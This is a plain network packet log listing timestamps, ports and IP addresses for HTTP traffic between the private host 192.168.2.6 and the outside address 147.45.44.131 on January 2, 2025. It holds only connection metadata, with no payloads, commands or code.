Jan 2, 2025 19:14:16.828037024 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828042984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828053951 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828059912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828066111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828071117 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828073025 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.828155994 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.828155994 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.828797102 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828876019 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828881025 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828891039 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828897953 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828910112 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828915119 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828928947 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828938007 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.828959942 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.828972101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828979015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.828984976 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.829014063 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.829035044 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.829050064 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.829071999 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.829071999 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.829102039 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.829114914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.829122066 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.829127073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.829132080 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.829154968 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.829165936 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.829221964 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.829221964 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.829227924 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.829240084 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.829284906 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.829288960 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.829288960 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.829292059 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.829391956 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.856554031 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.861838102 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.861932039 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.861937046 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.861943960 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.861963034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.861968994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.861974955 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.861979961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.861984015 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.861984968 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.861984968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.861996889 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862010956 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862016916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862026930 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862031937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862046003 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862051010 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862051964 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.862061977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862067938 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862073898 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862083912 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862086058 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862091064 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.862109900 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862116098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862133980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862139940 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862152100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862158060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862164021 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.862164021 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.862164021 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.862181902 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.862221956 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862236977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862242937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862253904 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.862306118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862310886 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862327099 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862334013 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862339973 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862349987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862356901 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.862382889 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.862637043 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862641096 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.862642050 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862659931 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862665892 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862669945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862675905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862682104 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862687111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862698078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862781048 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.862781048 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.862811089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862816095 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862833977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862839937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862867117 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.862905025 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.862905025 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.862937927 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862943888 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862957001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862962008 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862967968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862993956 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.862993956 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.863003016 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.863024950 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863063097 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.863269091 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863276005 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863289118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863295078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863416910 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863430977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863441944 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863447905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863452911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863459110 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863465071 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863470078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863473892 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.863473892 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.863476038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863488913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863492966 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.863493919 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863501072 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863506079 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863511086 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863516092 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863517046 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.863527060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.863569021 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.863569021 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.864622116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.864706993 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.864713907 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.864725113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.864729881 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.864742041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.864748001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.864753962 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.864896059 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.865324020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.865330935 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.865338087 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.865343094 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.865349054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.865355015 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.865361929 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.865366936 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.865416050 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.865470886 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.865495920 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.865503073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.865521908 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.865528107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.865535021 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.865540028 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.865545034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.865566015 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.865705967 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.866344929 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866425037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866436005 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866446972 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866456032 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866468906 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866475105 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866480112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866492033 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866497040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866508961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866514921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866516113 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.866533041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866539955 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866544962 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.866547108 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866552114 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866607904 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.866772890 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.866892099 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866897106 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866909027 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866914988 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866919994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866925955 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866930962 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866936922 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.866969109 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.866971970 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.867047071 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.867078066 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.867084980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.867090940 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.867126942 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.867132902 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.867140055 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.867145061 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.867171049 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.867192984 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.867202044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.867249966 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.885720968 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.885817051 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.885823011 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.885834932 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.885840893 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.885849953 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.885863066 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.885874033 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.885879993 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.885890961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.885895967 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.885896921 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.885901928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.885931969 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.885942936 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.885974884 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.885976076 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.886049032 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.886811018 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.886873007 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.886878014 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.886928082 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.886934042 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.886945963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.886951923 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.886957884 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.886976957 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.886976957 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.887020111 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.887213945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887218952 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887223959 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887231112 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887237072 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887279034 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.887412071 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.887435913 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887486935 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.887515068 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887522936 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887535095 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887541056 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887547016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887568951 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887576103 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.887578011 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887593031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887598991 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887603998 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887605906 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.887612104 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887640953 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887654066 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887660027 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887665033 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887671947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887677908 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887722015 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.887826920 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.887840033 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887870073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887875080 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887886047 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887887955 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.887892008 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887904882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.887944937 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.888037920 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.888052940 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888058901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888072968 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888078928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888091087 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888096094 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888102055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888117075 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.888154984 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.888154984 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.888263941 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888269901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888276100 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888281107 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888287067 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888293028 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888298035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888305902 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888318062 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.888319969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888326883 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888333082 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888339043 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888351917 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.888351917 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.888485909 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.888536930 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888590097 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888627052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888633013 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888638020 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888673067 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888705969 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.888747931 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888760090 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888765097 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888770103 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888776064 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888782978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888798952 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.888801098 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888834953 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.888937950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.888952017 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.889055967 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.889061928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.889067888 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.889072895 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.889079094 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.889085054 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.889091015 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.889097929 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.889122009 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.889167070 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.889231920 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.891832113 CET	80	49726	147.45.44.131	192.168.2.6
